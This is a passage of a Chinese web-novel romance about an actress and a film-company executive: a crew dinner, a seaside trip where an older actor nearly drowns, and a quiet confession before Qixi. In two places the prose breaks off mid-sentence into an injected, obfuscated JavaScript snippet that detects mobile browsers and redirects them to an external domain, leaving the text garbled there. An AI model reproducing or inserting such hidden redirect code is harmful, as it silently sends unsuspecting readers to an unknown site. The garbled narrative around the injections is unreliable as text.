【路芙:不好意思啊姐,陆齐他骗我[哭哭],颜总只是迟到,没有不舒服】 【元时亦:。】 而她已然出门了。 并且最重要的是,既然大家都参加了聚餐,她就不能搞这种特殊化。 硬着头皮,元时亦继续往目的地前进。 五分钟后,元时亦抵达餐厅附近。 没有直接进去,她扒在外面的玻璃墙边仔细观察。 听路芙的意思,他应该已经到了,怎么没瞧见人呢,陆齐旁边的座位还是空的。 而人在极度关注眼前时,就会察觉不到身后的危险。 夕阳余晖洒下,金色流光沿着帽檐给她美丽的面庞镀上一层薄纱,薄纱轻盈,顺入她清澈的双眸里。 含光的眼眸映照在玻璃上,给玻璃也打上一点亮光。 不知在何时,这点亮光被笼上一层阴影。 温沉的声音从头顶响起,“又在找我吗?” 30. 征求 元时亦一惊,一个回头,撞入身后人的笑眼里。 这人怎么总能凭空冒出来! “没、没有。”元时亦别开视线,强装镇定,完全没意识到背在身后的手快要把T恤下摆扯坏。 没有戳破她的小泡泡,颜屿直起身子问她:“那要一起进去吗?大家应该都到了吧。” 他不提这个还好,一提元时亦就气不打一出来。 他平时不挺闲的吗,哪里都能去,偏偏这次聚餐要迟到! 早知道、早知道她就该跟路芙她们一起过来,也省得遇到这么尴尬的场面。 见她停在原地一直未动,骨节分明的手抬起,在她眼前晃了晃。 “元时亦?” 啊! 不准突然叫她大名啊啊啊! 元时亦抬起头刚想反驳,一缕很久未见的香传来。 明眸轻眨,他喷香水了? 是她肯定过的那款。 薄红攀上面颊,元时亦本能地往后退一步,“不要,我先进去。” 不然就真的会被路芙误会。 颜屿今天穿得很随意,黑T加浅棕短裤,而她也很随意,白T加深棕短裙,再配上款式相似的板鞋,不知道的真会以为他们之间有什么。 “好,那我过一会儿再进去。”颜屿答应得很痛快,他愿意听她吩咐他。 而且说不定,他将来也需要做这样的事,现在,可以提前习惯一下。 浅金色的光芒附在她如绸缎般的长发上,煦风轻拨,掀起几缕细丝,丝线缠绕,勾人心魄。 直至元时亦的背影完全消失,颜屿才将目光慢慢收回。 - 元时亦推门而入。 这家餐厅创始于上世纪末,年代久远,它保留了传统的酒楼式建筑风格,楼中挑空,雕着缠枝莲纹的檐台下坠有一盏盏白玉灯,灯罩磨得温润,暖色的光透过玉璧漫出,照亮酒楼中央设立的小型假山,嶙峋石块掩藏于浓厚白雾里,带出一阵怡人的香气。 “不好意思,来晚了。” 元时亦取下帽子,倾身落座。 “你身体应该没有不舒服吧?”舒妤凑过来问她。 元时亦这桌,是主角团四人与丁除,再加上助理,正好十人。 她右手边坐着路芙,左手边过去依次是舒妤、方想、周泽洋三人。 “嗯。”元时亦眼神躲闪着敷衍过去,“我以为今天不会来这么多人,不然我就早点过来了。” 以往类似这样的非强制性聚餐,通常都不会“全员”到场,偶尔几人有私事,都属正常范畴,所以元时亦并未想到,今天人会来得这么齐。 “好歹是岫围的招牌,肯定都要来尝尝的,再一个,颜总的面子谁会不顾及一下?”舒妤半压双眼,不怀好意,“除了你。” 元时亦心中一个咯噔,她、她有吗? “我没、没有吧……” “我之前也没察觉,但你这几天躲他躲得太明显了。前两天他来片场,你是不是趁方想跟他打招呼,偷偷溜回房车了?” 那天主角团拍的是一个相对轻松的室内戏,舒妤戏份结束后,就坐到江燚身旁喝奶茶休息。 颜屿出现时,元时亦跟方想正好从威亚上下来。 原本元时亦应该会过来找她的,她手边还有她未喝完的无糖奶茶呢,可元时亦不仅没有来,还趁着方想跟颜屿说话的功夫直接转向了远处房车。 舒妤盯着她的背影看了会儿,正觉疑惑时,却撞见颜屿未来得及遮掩的目光。 哦? 舒妤柳眉轻挑,她是不是发现了什么不得了的小秘密。 元时亦被问得头皮发紧,她有这么明显吗? 好在舒妤没有继续追问,她伸手拍肩安抚了下元时亦,“你应该也不讨厌他吧,后面得收着点,不然如果连方想那个笨蛋都能看出来的话,就说明藏不住了。” “不是……”元时亦刚想再解释一下,就听见一道欢快的呼喊从舒妤身旁传出,“颜总!这儿,这儿!” 方想高举起两只手,在拼命给颜屿打手势。 颜屿的位子在隔壁桌,和导演们坐一起,他的椅子与方想背对着,很近,只隔出一条窄窄的过道。 “来了。” 熟悉的声音在身后响起,元时亦不敢抬头,只庆幸幸好颜屿不在他们这桌。 而这股庆幸却消散得很快—— “颜总你今天好像青春男大啊,这身真显年轻,”说罢他好似想到什么,后仰身子望向元时亦,“我就说怎么觉着风格眼熟呢,你俩这穿得跟情——唔……” 舒妤眼疾手快地抓过周泽洋手里剩的半个馒头塞到方想嘴里,“不好意思哈颜总,犬子口出狂言,是我教子无方。” “没关系。”颜屿颔首,余光掠过,走向了自己的座位。 元时亦的心在那一刻瞬间提至嗓子眼,好在舒妤处理及时,不然方想真把那个词说出来,她一定会找个地洞钻进去。 而另一边的周泽洋就没这么好受了,“不er,我的馒头!” 周泽洋是北方人,喜面食,自这么多年拍戏在外,他已经很久没有尝到家乡的味道,这次聚餐,酒楼里居然有酷似他家人手艺的老面馒头,于是他去后厨偷偷要了个,没敢多要,不好意思不说,也怕撑肚子。 “吃半个得了,一会还要吃饭呢。”舒妤斜睨他。 “可是我不喜欢吃馒头捏。”方想说着就想吐出来,被周泽洋一把塞回去,“你给我好好吃完!” 两分钟后,菜品陆续上齐。 这次的聚餐虽显隆重,但并无拘束感。 江燚简单讲两句,众人就齐刷刷进入到炫饭模式中。 “诶,这是海蟹吧?”方想指指每人一例的清蒸青蟹,他记得这家餐厅主打的就是就地取材,食材全部源于本地,那怎么会有海里的东西? “这附近有片人工海,”江燚刚跟其他桌敬完酒,转回他们这里瞅一眼,“原本是养殖用的,结果本地人吃不惯这海里的玩意儿,就改成景观海了,正好能让这里的镇民见见沙滩啊海洋啊到底长什么样。” 方想惊呼,“天,我还以为这里只有湖呢,居然会有海啊。” 避暑山庄四面环山,照理说这类地势,只会由湖水连接,是不可能存在海这类景象的。但是人工海的话,就不稀奇了,哦不,也稀奇,他还没见过人工海呢。 “那海远不,咱们能去不?” “不远,镇子边界。去的话再等等吧,场地那边正在协商租用,有几个场景我还是想换成真实海景拍摄,如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290609|182669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果租不下来的话就不改了,用特效。” 江燚走后,方想一脸蠢蠢欲动,他等不了,这几天没戏份,正愁没处玩呢,山里待得太久,无聊得很,“咱几个明天去海边玩玩咋样?” 舒妤:“明天不行,我一天戏,后天可以。” 元时亦默默看了下通告,她正好也是后天有空。 后面的几日,配角戏份比较多,他们这几位主角,倒是能稍微休休假。 丁除一直都是比较空闲的,就只一点,他只在泳池里游过泳,海边的话,他就只能在椅子上晒晒太阳了。 五人约定完,就见方想挪着椅子,去了颜屿身边。 两次的娱乐活动后,他们这五人再加第六个颜屿,已然是结下了深厚友谊,方想也不知自己为什么会想问他,只觉得都是同龄人,又一起玩过几次,人多,热闹! “颜总,我们打算后天去那个人工海,你要不要一起来?” 方想所说的人工海,颜屿听场地组提起过,这几天他们正在跟那边的工作人员商量租用一事,还未定下详细方案。江燚之前有喊他去实地考察一番,只是那天他忙着处理手游组的事情,就没能去成,反正只要江燚满意,他没意见,他只负责出钱。 可方想既然来问,他是可以过去看一看。只不过,他得先确认一件事。 拿出手机,颜屿回道:“稍等,我看下后面行程。” 几秒钟后,元时亦放在桌面上的手机响起。 待看清消息主人,她立刻摁熄屏幕,颜屿干嘛呢?!!他看行程给她发消息干嘛?! “不好意思啊,后面的行程表秘书还没有给我,我不确定公司那边会不会有其他安排。” 方想不死心,“那明天呢,明天应该能知道吧,咱们反正是后天去呢。” “行,那我催催她。” 手机再次出声。 元时亦:! 我怎么就没把声音也一起关了! 还有,谁是你秘书啊! 微微后移身子,元时亦把手机拿至桌下,并快速拨下静音键。 舒妤正在激情冲浪中,左手刷屏一刻未停。 再看右侧,路芙埋头干饭,心无旁骛。 朦胧的暖光下,每一个人都专注着自己的眼前事。 很好。 悄悄低下头,元时亦打开手机,屏幕在一片黑暗中亮起,亮光中央,赫然显示着颜屿的两条信息。 【颜屿:我可以去吗?】 【颜屿:如果你不想让我去的话,我就不答应了】 颜屿不是不清楚是否有空,而是在问她,他可不可以跟他们一起去海边。 元时亦心跳倏然加快,他这是什么意思? 什么叫她不想让他去的话,他就不答应。 是因为他已经看出来她在躲着他了吗,所以,他才会先来征求她的意见。 点开输入框,元时亦的两根拇指僵在屏幕两侧,一动不动。 如果她说不想,他就一定不会来。 深吸一口气,菜肴鲜香与假山清香混入,惹得她鼻子直发痒,而那缕淡雅而柔和的风不知在何时也一同绕进,又让她好受许多。 眼睛一闭,元时亦胡乱打下几个字。 【元时亦:随便你】 31. 入海 最近这段日子,岫围镇的温度一直维持在三十度左右,不算太热。 今天晴转多云,太阳只在晨间出现了半刻,只是海里紫外线一样很强,元时亦想了想,还是带了件长款泳衣。 人工海距离镇内大约有一个小时车程,方想定的下午两点出发,既不用早起,也不会赶上一天最热的时候,等玩够了,还能赶在太阳落山前回来。 吃过午饭,元时亦套上防晒服出了门。 她穿了件到脚踝的果绿色连衣裙,胸下至腰侧镂空,连着流苏挂坠,很适合去海边。 方想拉了个群,专门商讨去人工海的事宜。 【方想:人呢人呢,怎么一点都不积极,还有五分钟就要出发啦!@所有人】 元时亦已经在电梯里,电梯内信号不好,她的回复没能发出去,也同样没能收到其他人的消息。 【颜屿:我在大厅,但只有我一个人】 【丁除:等电梯中[抱拳]】 【方想:[嘘]别戳穿我!!我马上下来】 【舒妤:是谁自己都没到还在那催别人,好难猜呀@方想】 【周泽洋:好难猜呀@方想】 于是电梯门开时,元时亦并不会想到等在门口的只有颜屿。 他身上是一件亮色衬衫,头发稍往上梳,露出线条分明的棱角,意外的有些张扬。 颜屿正低头看手机,电梯抵达却迟迟未有人走出,他微抬起眼,正好与门内人静止的视线撞个满怀。 那双沁着光的眸子极其好认,即使她整张脸都被藏入帽中。 防晒服边缘搭在腰间,苏须摆动,拨弄玉肌,颜屿敛了下呼吸,在电梯外问她,“不出来吗?” 元时亦已停在电梯内好几秒,门就要重新合上了。 “没。”一个回神,元时亦赶紧跨出轿厢。 在保证了足够的安全距离后,她扶住帽檐小心翼翼环视周围,怎么没人?方想刚不是还在催吗。 拿出手机,她的回复终于发出,也看到了剩下几人的消息。 【元时亦:1】 【元时亦:……我也到了】 【方想:[惊恐]你们一个两个都这么迅速吗】 【舒妤:是谁最慢我不说】 【颜屿:不急,还早】 可元时亦很急。 这人就在她右手边不到三米的位置。 一个小“1”忽然出现在左上角。 【颜屿:要不然我先上去?】 她是有点不自在,但也不至于到那种程度,反正丁老师马上也会下来,就不会太尴尬。 【元时亦:不用】 只是她没想到,电梯再次来到一楼时,丁除看见大厅相隔甚远的二人,竟停顿了一秒,然后道,“你们俩怎么离得这么远,闹矛盾了吗?” 元时亦瞪眸:不是,丁老师你也?! 方想找剧组借了一辆六座商务车,周泽洋负责开。 路上出了太阳,光线打在车窗上,有些晃眼,舒妤关上窗帘,一脸愁容:“不是多云吗,太阳怎么还越来越大了,我这防晒怕是不够啊。”说着,她脱下外套,拿出防晒霜准备再补补。 舒妤长相妖艳,喜好成熟性感风,她穿着宽带背心跟热裤,带的泳衣也是布料偏少的款式,拨开卷发,她把手里的瓶子递给元时亦,“时亦,帮我涂一下,涂厚一点。” “好。” “你要补吗?一会我也帮你。”两人坐在坐后排,正仔细地做预防工作。 元时亦将手里的白色乳液揉开,轻柔地涂抹在舒妤的薄背上,“我不用了,我带的是长款泳衣。” “长的?那不得热死了!而且还有阻力……”舒妤未经思考脱口出口,说着说着,她意识到什么,连忙降下音量,边酝酿边侧头往斜前方示意,“他管你这么严啊?”颜屿跟丁除坐在她俩前面,离得太近。 听清舒妤声音,元时亦一个猛咳出声,莹白的脸瞬间涨成赤红。 他他他,他管什么? 她才没有被他管!不是,是她跟他什么关系都没有好不好! 元时亦轻咽了咽喉咙,这样不行,误会要越来越大了,不仅是舒妤,还有丁老师,她必须找个机会“澄清”下。 然而“澄清”机会没等到,等到的是前方人递来的一小瓶VOSS水。 颜屿:“给。” 元时亦气结:啊啊啊——狗男人你别给我添乱了! 众人抵达至海滩边时,刚好下午三点。 海风咸潮,吹在脸上,有些发黏。日光收敛了些许,不怎么刺眼。海浪带着光芒一遍又一遍扑向沙滩,卷起一条条细碎的白色浪花。 “来,丁老师,我们给你准备了个超大游泳圈,如果你忍不住下水的话,记得带上这个。”周泽洋把后备箱里的东西拿出来,除了游泳圈,还有一艘小小的充气船。 丁除没有公开水域的经验,有个游泳圈更安全。 丁除点头:“好,谢谢。” 至于那个充气船,周泽洋跟方想一人一个打气筒,开始努力干活,而船的使用者,正跟元时亦在卫生间里换衣服。 由于这片人工海才刚转为景观海没多久,附近的设施并不完备,只有简陋的淋浴间,卫生间,和工作人员的办公间。 海滩上还有几位其他游客,好在距离较远,不会注意到他们。 两人换好衣服,戴上泳镜泳帽,将真实面貌遮严。 “时亦,你这身材不穿比基尼真是可惜了。” 元时亦身上是一套黑色的长款分体泳衣,全身都被牢牢裹住,她只在脖子、手以及两脚上涂了防晒霜。 “没办法,怕晒嘛,海里紫外线高。”元时亦说完又飞快接道,“跟他没关系!” 舒妤了然一笑,“好的,我知道啦。” 拉伸开身体和四肢,舒妤熟练地做起热身动作,“好久没在海里游了,今天必须畅游一番。” 元时亦也是同样。 她已经很久没来海边了。 年少时,许其知曾带着她在澳洲的黄金海岸冲浪,彼时她总被海浪掀个底朝天,浪水汹涌的流动水域,即使她拿到过不错的游泳赛名次,一样会招架不住海水打来时的冲击力,后来,她穿上救生衣,忍受许其知两小时的恶言嘲语,终于在海面上划出一道漂亮的弧线。 最终,在姨夫给她发来几张许其知初学时摔成狗吃屎的黑照后,她才总算扳回一城。 米白色沙滩细软,每踩一步,都能留下一道浅浅脚印。 元时亦仰头往远处望去,这片海的浪虽然小,力量却很足,倒是挺适合冲浪的,但也说明,这片海并非表面上看起来那样平静。 舒妤跟元时亦打完手势,率先奔向海中,身后,是继续卖力打气的方想,周泽洋早已打好游泳圈,在海面仰成一个大字形了。 方想在后面喊,“喂!你们等我下啊,我马上打完了!” “唷呼。”舒妤回过头轻吹口哨,“时亦跟颜总都还在岸上呢,你急什么?” 颜屿还在岸上? 被舒妤这么一提,元时亦脚下一动,头也不回地跳进海里。 舒妤:…… 姐妹,好水花。 元时亦慢慢往深水区游去,里面果然要比她想得猛烈一点,如果任由海水带着,很容易就会漂进更深处。 没有停留太久,元时亦转身往回游,路过周泽洋时,她把他往浅水区推了推,“洋哥,别睡着了。” 周泽洋一个激灵,立马睁开眼,“卧槽!我真睡了会儿。”开了一小时车,再加上这日头晒着,人一躺进水里就开始犯困。 一个快速翻身,周泽洋连扑带刨地向岸边游去,“多谢啊时——” “亦”字还没说出,一道人影突然从水下爆冲而出,“乌拉!”是方想。 周泽洋带着颤音的咆哮顿时响彻于整片海域:“草!” 接下来就是一顿单方面的毒打。 “别打了别打了哥,我就是恰好在这里捡贝壳。”方想抬起胳膊挡住全身上下最重要的部位,脸。 “那你捡的贝壳呢?!” “都被你打掉了呀……”方想战战兢兢地将右手举起,“就剩这一个了。” “啪!”周泽洋无情挥臂,“好了,都没了,你重新捡吧。” “呜呜呜,过分!” 而那枚被周泽洋打飞的贝壳,径直冲向天空,在经过一段长距离的滑行后,最终降落在沙滩之上。 “小方,是这个吗?”丁除恰巧在附近吹风散步,贝壳落在距他不到两米的地方,他便顺手将它捡了起来。 “对对对!这个贝壳老好看了,我找了半天呢。”方想将脚底下还没被浪卷走的那点贝壳重新掏回,像是捧着珍贵的战利品。 来到丁除身边,他把东西撒到沙滩上细数一番,“丁老师你看,扇贝壳,海螺,海星……” “这个是什么?”丁除拿起一个深灰的扁球状物体,这枚“贝壳”在一群五颜六色的小玩意里实在是显得有点磕碜了。 “海胆壳。”颜屿也走过来。 他伸出修长手指,将灰溜溜的海胆壳拿起来,海胆壳中空,两面各有一个小圆孔,透过圆孔,他看向海面不远处只露出半颗脑袋的女人,“刷干净以后会很漂亮。” 元时亦轻摆双腿,藏在水下慢慢踩水。 她来回游了好几圈,舒妤已累到躺在船上休息了。 但颜屿一直没有换衣服,似乎不打算下来。 她记得,他游泳也不赖,难不成他也没在公开水域游过吗? 一汩汩小气泡从她鼻息下吐出,她好像都没有好好了解过他。 一枚海胆壳被举起,深邃的目光顺着小孔精准投来,元时亦立刻将脑袋全部埋下。 凹陷的眸子弯出弧度,她总是喜欢用这种方式偷偷观察他。 她难道不知道,水面上的任何异常,在岸上人看来都清楚无比。 “竟然有这么多颜色。”丁除已百度完海胆壳的真实样貌,这样漂亮的小礼物,他妻子一定喜欢,正好,下周五就是七夕了,“这个要在里面点的地方捡吗?” 方想点头,“嗯,海里会多一些。” 颜屿在一旁提醒丁除,“丁老师,别忘了游泳圈。” “哦哦对。”说罢,丁除小跑回躺椅处,将方想他们给他准备的保险装备套在身上。 一切就绪后,丁除脱下上衣,将衣服当成是装海胆壳的布袋。 目睹全程的方想:“哇,丁老师,你有点ooc了。” 丁除笑了笑,低下头仔细搜寻,“我的洁癖没有地蚩那么深。” ooc。 颜屿不自觉在心中默念出这三个字母,她那时也这么形容过他,就是不知。她现在是否还会这样想。或许,自知晓他在网络里的身份后,在她心中,他就已经ooc了吧。 元时亦确实是这么想的。 简直是太崩人设了。 从一开始的冷面总裁,到后面的温柔绅士,再到相处大半年的游戏情缘。 谁能那么快接受? 鼓着气,元时亦再次从海面下探出来,她看看怎么了,他老是默默关注她,她暗中观察他一下又有什么关系! 这么一想,元时亦心里好受许多,如果一个人老是让你不自在,那一定是那个人有问题。 颜屿又躺回了沙滩椅上,他身体虽是放松的状态,面色却有一丝疲惫。 元时亦忍不住游近了点,她之前居然都没有发现。 不多时,颜屿将双眼阖上,似是要眯一会儿。 睡了? 那她岂不是可以正大光明—— 哦不,附近还有人呢。 元时亦转着脑袋看向周围,方想捡了很多贝壳摆到舒妤的充气船上,而周泽洋一边推着跑一边往外扔,他气得在后面又追又捡又骂。一会儿的功夫,三人就离她这里很远了。 至于丁老师—— 等等,丁老师呢? 她刚明明听到他们在讨论海胆壳。 “丁老师?” 元时亦环视一圈海面,却只看到漂向远处的巨大游泳圈。 “丁老师、丁老师!” …… 无人应答。 一个可怕的念头顿时蹦出。 丁老师出事了。 不敢再等,元时亦憋住一口气快速往游泳圈那处游,然而海浪越起越大,她一旦发出呼喊,就极有可能将水呛进喉咙内,而且,这架势,要涨潮了。 来不及了。 元时亦迅速调转方向往回游,若是在这种环境下救人,她一个人的力量绝对不够,这样的浪,她学冲浪时遇见过,对于初次接触户外水域的人,遇到危险时会陷入极大恐慌,求生欲下所爆发出的力量,会连带着她也会陷入危险。 而现在离她最近的只有颜屿。 张开双臂,并拢双腿,元时亦一头砸入水中。她用了爆发力最强的蝶泳,她必须要在最短的时间内冲回岸边。 “颜——咳、咳,”脚能够到地上后,她直接立起身子,拼命往沙滩椅的方向狂奔。 “颜总,颜屿!” “颜屿——” 椅上之人猛然睁开双眼,他听见了一道急切的喊声,听不太清,但他能确定,这声音来自于元时亦。 眼见着那道黑影疯狂逼近,颜屿没时间多想其他,立即起身跑向她,“怎么了?” “丁老师不见了!丁老师不见了,我只看见那个游泳圈,他人不见了!!!” 元时亦边跑边喊,“快把你椅子旁边的救生圈给我!” 这片人工海目前只有一位专业的救生员,此刻他恰巧在海域最左侧巡视,而她这里,是最右侧。 听见元时亦的大喊,颜屿一秒未耽搁,飞快回去取好救生圈,然后脚步不停地再次朝元时亦的方向冲去。 两人仅花了十秒钟时间汇合。 颜屿抬高视线,在海面不断寻找。 元时亦语气万分焦急,她心脏狂跳不止,根本无法慢下,“怎么办?我一直没有看见他,我喊他也没人回我,”哭腔溢出,“那个游泳圈已经飘到那边去了。” 颜屿抬起双臂轻按她的肩膀,“别急,别急。”他双眼专注着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而这一突发事件,也惊动了大导演江燚。 确认完丁除没有问题后,他将头垂成鸵鸟状的方想拉到角落一顿痛批。 要不是这家伙的一场心血来潮,也不会出这样大的事。 “江导,不怪小方,是我自己要去捡贝壳。”丁除靠坐在病床上,“他们还专门给我准备了游泳圈,是我没有这方面经验,不知道远处的浪会这么大。” 那时他在水下找海胆壳找入了迷,看到一个巨大无比的海胆壳后,他没忍住往深处走了点,只是他人在游泳圈内,想要探到底部,需要往下沈一沈,就在他松开手往下踩时,一个浪迎面打来,直接将身上的防护措施给掀飞出去,等他反应过来后,脚已经无法踩到底了。 他浅浅叹了口气,只可惜他捡的那些海胆壳都掉回了海里。 听见丁除的叹息声,元时亦猛地想起颜屿将丁除推上岸后,交给了她一样东西,他说丁老师除了抓着衣服外,手里还捏着这个,当时他只顾救人,不小心把这东西打掉,好在没有冲远,他重新将它捞了回来。 元时亦听着就一阵后怕,她怕颜屿因为它,而一时松了手。 “对了丁老师,这个给你。”元时亦将它从包中拿出。 一枚巨型海胆壳立刻出现在众人面前,丁除双眼倏然亮起,“这是……” 元时亦点点头,“你当时捡的。” 太好了太好了,丁除喜不自胜,居然没有都被他弄丢,还留下一个! 而且还是他最满意的一个。 “我的妈呀,这么大!”方想眼睛都看直了,“难怪你当时想去捡它。”他都忘了自己还在被怒批中,完全没意识到自身处境。 江燚被他这一下给气笑,无奈地叹一口气,他摇着头退出单人病房。 方想的确有错,但他认了错赔了罪,丁除也没有怪他。 真要说起这件事的源头,那还是在他这位导演身上,若不是他想实景拍摄,也不会让方想找到出去玩的机会。 而这件事也给他敲了一记警钟,公开海域太凶险,稍有不慎,就会产生无法预计的后果。拿出手机,他给场地负责人打去电话,将这一计划取消掉。 众人陪在医院忙活到晚上九点,直到丁除实在顶不住几个小辈的照顾,严肃地下达逐客令,几人才不得不离去。 九点半,五人抵达酒店。 “我扛不住了,先上去睡了。”回来时是颜屿开的车,周泽洋一上车就打盹,没人敢让他疲劳驾驶。 方想则和舒妤出去觅食,他俩因为太过内疚,晚饭时间都在四处拿报告取药没能好好吃饭。 元时亦和颜屿下完车,一前一后踏进酒店,登入电梯。 颜屿没有按楼层,在元时亦眼神探来时,他回视过去:“我有话想跟你说。” 元时亦一路忐忑地往房间走,她不知颜屿会说什么,也不知心底涌出的那点期待从何而来。 颜屿停在门边,与元时亦隔着一道门的距离,上一次两人这般相处,还是在他的套房门口。 此时此刻,地位互换,元时亦在里,他在外。 元时亦抠着手里的房卡套,未敢抬眼。溺水事件过去后,她在回来的路上一路复盘,她冲回去时喊了颜屿,颜屿为了安抚她,还跟她产生了一点很短的肢体接触,虽然在此之前,他们也有过这样的触碰,可这似乎不一样。 在知晓他身份前,和知晓他身份后。 两种不同的心情—— 她只知道,哪一种她都不排斥。 “你想——” “今天吓到了吧?”颜屿垂下眸子,那张粉嫩的嘴唇只发出两个软糯的音节,就被他挡了回去。 “啊、嗯。”元时亦很浅地点了下头。 “嗯,那你早点休息。”他本不该再来打扰她的,她今天消耗的精力太大,同样需要恢复,只是看到她悄悄探来的眼神,他还是没能忍住。 然而,他转过身刚要抬腿往前迈,衬衫衣摆就被一只纤细的手扯住。 “嗯?”颜屿偏头,重新立至原位。 眼前之人依旧低着眼,并未看他。 元时亦也不知怎么了,发现颜屿真的只有两句话后,她忽然不想让他就这么离开。 她好像也有话想说。 他想了解她,他就会直白地问。 那她为什么不可以。 “你眼睛疼吗?” 是他戴隐形一事。 “不疼。” “你在户外游过泳吗?” 是他没同意让她救人一事。 “游过,很多次。” “那你今天为什么不下水?” “是没带装备吗?” “还是……” “我昨晚没休息好。” 颜屿的长眸中溢出一点笑意,她怎么对这件事这么在意? “哦。” 难怪她在他脸上看到了疲惫。 “没休息好干嘛还去海边——” “想见你。” 32. 礼物 元时亦做了一个奇怪的梦。 梦里颜屿对她说:“想见你。” 她没有扭捏作态,反而开心地回道:“我也想见你!” 然后就没有然后了。 她很好奇,拉着颜屿问:“然后呢,这样就完了吗,后面不应该是表白吗?” 颜屿却紧闭着嘴一言不发。 她不甘心,连番上阵威逼和利诱。 终于,颜屿在她醒来前说出了四个字—— “不能表白。” 靠,什么破梦啊。 元时亦苏醒时连眉头都是紧皱的。 昨夜,纵使她有猜想到颜屿会回答什么,可当他清晰地把那三个字说出来时,她耳侧还是响起了震天般的鼓声。 不像梦里那般勇敢,她很没用地吐出一个小小的“哦”,关上了门。 她忽然理解了她曾经饰演过的几位女主,为何在男主表完心意后,她们会经历一段很长时间的沉默、不说话,甚至是眼神回避。 那时她只知要按剧本上所描写的那般去演,心里却想的是,有好感的人向自己表达爱慕,不应该上头或者下头吗,只是她一直以来都只是后者,前者,从未体会过。 她想,如果真有那样一天,她一定会大方地给他回应。 但事实上她错了。 她不仅不够大方,还非常小气。 小气到就回他一个字。 小气到匆匆关上门。 小气到大脑一片空白,什么都塞不下,什么都无法去想。 后劲裹着热意泛上脸颊,这杯温吞的陈酿烧得她耳根子都在发烫。 她的回应实在太差劲了。 埋在抱枕里的脑袋露出那双明亮的眼睛,眼里濡着薄薄潮气,她是不是该重新跟他说一次。 而她整整纠结完一天,都没有在片场见到颜屿的身影。 微信记录还停留在昨日的【不用】二字上,输入框内删删减减,终究没能打出一条完整的消息。 算了。 还是让路芙去侧面打听下吧。 半小时后,元时亦下戏,她回到房车内休息。 “姐,听陆齐的意思是,颜总这几天会很忙。” 忙? 喝水的动作顿住,原来是公事缠身,难怪他那晚没休息好。 想到这,元时亦脸上的小扇子扑了扑,该不会昨天去海边的时间都是挤出来的吧。 确实是挤出来的,但不全因为公事。 他在准备一件很重要的礼物。 房门敲响,陆齐询问完事情回来。 “颜总,确定过了,岫围镇是有庆祝乞巧节的习俗。七夕当天镇子上会举办一些游玩活动,晚九点的烟花表演大约持续半小时。” “好。”颜屿目不转睛地忙活着手里的东西,随即,他举起刚做好的一枝,“这像玫瑰吗?” 陆齐尴尬地咳了两声,“好像还差了点精髓……” 颜屿头疼地扶住额,自那年学会做光栅徽章后,他自认为也算是个有点天赋的手艺人了,可没想到这手工玫瑰竟比他想象中要难得多。 “老板,要不咱就买真花呢?” “镇上气候好,什么花都长得漂亮。要实在不满意,我现在去订,还有一周呢,沪城那边空运过来一天不到,完全来得及。” “真花是好,但她不一定适合。” 元时亦的确不适合。 早年间粉丝们线下送来礼后,她发过一条微博。 元时亦10E:宝宝们以后可以不用送花花了哈,有手写信我就很开心啦~不要破费[比心] 她的粉丝们知道她不收贵重礼物,所以经常会有可爱的女宝给她准备鲜花,头一两次还好,时间长了,收到的花多了,她扔也不是,放也不是,只能专门找个地方储藏起来,直至凋敝。 她对气味敏感,大片的、味重的花朵更为明显。虽然很多鲜花并不带香,可大部分花店都会为了色香俱全而搭配些带香的枝朵,亦或是喷洒上增香的露水,而这对她来说,只会更加难受。 颜屿重新拆开一包材料,对刚才的失败品做出一点调整,开始继续忙碌起来。 “烟花表演的部分你去沟通一下吧,不用考虑成本。” 陆齐立刻会意,点点头退出房间,没再打扰自家老板的精细活。 - 时间一晃而过,元时亦那日的上头情绪逐渐缓和下来。 她这一周都没怎么见到颜屿,他似乎,真的很忙。 微信上只有简单的几句早安晚安,要不就是他一贯的【好】、【嗯】、【早点休息】。 哼,什么嘛,不就是没好好给他回应,居然这样冷淡她! 反正她这几天也忙得要死,没工夫搭理他。 元时亦闷闷地咬着吸管,她特意点了杯加糖的奶茶,喝起来却一点都不甜。 舒妤下了戏,径直朝她走来。今天主要是她们二人的戏份,片场人并不算多。 “这几天心情不佳呀阿似大人。”舒妤端起自己那杯,咕噜噜喝着。 元时亦一向不会把私人情绪带到工作里,除了颜屿帮她带美瞳那次,她心不在焉了点。平常拍摄时她一直都能很好地转换状态,只是一旦从戏内抽离出来,她心里就空落落的,触不到实处。 “可能要来例假了吧。”元时亦耷拉下眼皮,黑宝石蒙上一层柔布,一时失去光泽。 “哦?你先前也没这样呢。”舒妤不信,“是因为这几天颜总没来片场吧?”她能感觉到,自那次海边之行后,这两人之间发生了点变化,说不清是好,还是坏。 元时亦压抑住上升的心跳,嘴硬道:“没有。” 好吧,是有一点,就一点点。 她以前总怕他来,现在却在盼他来。 舒妤含着笑将奶茶喝完,阿似大人的脸皮也是这么薄,作为百里幽的她,哪怕只是凑上去贴贴阿似,阿似的身体也会整个僵硬起来,而元时亦如今,已能够很好地展现出这种僵硬状态。 没有往下说,舒妤去找了旁边的江燚,“老江,我明天要请个假哈。” 江燚盯着大监,头也不抬,“嗯,知道了。” 元时亦眼中沾上不解,这已经是她遇到的第五个来请假的人了。 “妤妤,你也要请假吗?” “对呀,”舒妤点头,“难道你不请?” 说着,她一脸坏笑地看江燚,“你明天干脆直接放假得了。” 江燚气哼一声,“又不是每个人都要过节。” “节?什么节?”元时亦赶忙拿出手机。 “七夕呀。”舒妤睁了睁双眼,“姐妹,你不知道?” 元时亦盯着日历,明日周五,农历七月初七。 竟然是七夕。 “最近太忙了,没注意到。”元时亦抿起樱瓣般的嘴唇,她今天妆容很淡,脸上少了些许血色。 